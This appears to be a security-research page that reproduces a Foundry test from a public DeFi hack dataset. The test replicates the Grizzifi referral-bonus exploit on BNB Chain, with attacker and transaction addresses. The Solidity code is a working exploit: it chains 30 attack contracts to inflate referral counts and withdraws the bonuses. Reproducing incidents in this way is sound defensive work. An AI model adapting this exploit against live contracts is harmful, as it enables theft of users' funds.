Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/Grizzifi_exp.sol

Public reproduction file for dataset entry Grizzifi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/Grizzifi_exp.sol101 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 61k USD
8// Attacker : https://bscscan.com/address/0xe2336b08a43f87a4ac8de7707ab7333ba4dbaf7c
9// Attack Contract : https://bscscan.com/address/0xEd35746F389177eCD52A16987b2aaC74AA0c1128
10// Vulnerable Contract : https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b
11// Attack Tx : https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b#code
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/MetaTrustAlert/status/1955967862276829375
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant GRIZZIFI = 0x21ab8943380B752306aBF4D49C203B011A89266B;
23address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
25contract Grizzifi is BaseTestWithBalanceLog {
26 uint256 blocknumToForkFrom = 57478534 - 1;
27 address[] public attackContracts = new address[](30);
29 function setUp() public {
30 vm.createSelectFork("bsc", blocknumToForkFrom);
31 deal(BSC_USD, address(this), 600 ether);
32 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
33 fundingToken = BSC_USD;
34 }
36 function testExploit() public balanceLog {
37 //implement exploit code here
39 // Step 1: create 30 attack contracts and send 20 bsc-usd to each attack contract
40 // https://bscscan.com/tx/0x4302de51c8126e7934da9be1affbde73e5153fe1f9d0200a738a269fe07d22c7
41 for (uint256 i = 0; i < 30; i++) {
42 AttackContract1 ac1 = new AttackContract1();
43 attackContracts[i] = address(ac1);
44 IERC20(BSC_USD).transfer(address(ac1), 20 ether);
45 }
47 // Step 2: run grizzifi.harvestHoney
48 // https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1
50 // The root cause is, in the _incrementUplineTeamCount(),
51 // it checks the `totalInvested` (including withdrawn) instead of active investments
52 address regCenter = address(0);
53 for (uint256 i = 0; i < 30; i++) {
54 address ac1 = attackContracts[i];
55 AttackContract1(ac1).init(GRIZZIFI, regCenter);
56 regCenter = ac1;
57 }
59 // Step 3: withdraw
60 // 0xdb5296b19693c3c5032abe5c385a4f0cd14e863f3d44f018c1ed318fa20058f7
61 for (uint256 i = 0; i < 30; i++) {
62 // ignore the Grizzifi: No referral or milestone bonuses to claim error
63 try AttackContract1(attackContracts[i]).withdraw(GRIZZIFI) {
64 } catch {
65 }
66 }
67 }
71contract AttackContract1 {
72 function init(address owner, address regCenter) public {
73 IERC20 bscUsd = IERC20(BSC_USD);
74 IGrizzifi grizzifi = IGrizzifi(owner);
76 bscUsd.approve(owner, type(uint256).max);
77 grizzifi.harvestHoney(0, 10 ether, regCenter);
79 AttackContract2 ac2 = new AttackContract2();
80 bscUsd.transfer(address(ac2), 10 ether);
81 ac2.run(BSC_USD, owner, regCenter);
82 }
83 function withdraw(address token) public {
84 IGrizzifi(token).collectRefBonus();
85 IERC20 bscUsd = IERC20(BSC_USD);
86 bscUsd.transfer(msg.sender, bscUsd.balanceOf(address(this)));
87 }
90contract AttackContract2 {
91 function run(address token, address router0, address router1) public {
92 IERC20(token).approve(router0, type(uint256).max);
93 IGrizzifi(router0).harvestHoney(0, 10 ether, router1);
94 }
97interface IGrizzifi {
98 function harvestHoney(uint256 _planId, uint256 _amount, address _referrer) external;
99 function collectRefBonus() external;

Analysis

Dataset entry

Public Foundry test for “Grizzifi” (2025-08-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe2336b08a43f87a4ac8de7707ab7333ba4dbaf7c

  • Attack Contract

    0xed35746f389177ecd52a16987b2aac74aa0c1128

  • Vulnerable Contract

    0x21ab8943380b752306abf4d49c203b011a89266b

  • Attack Tx

    0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1

File record

Name
Grizzifi
Path
src/test/2025-08/Grizzifi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
489aa83b5904348e6ae6feb6fb4beef03c3cd7df
Language
Solidity
Size
101 lines
Date
2025-08-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/Grizzifi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 489aa83b5904348e6ae6feb6fb4beef03c3cd7df, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.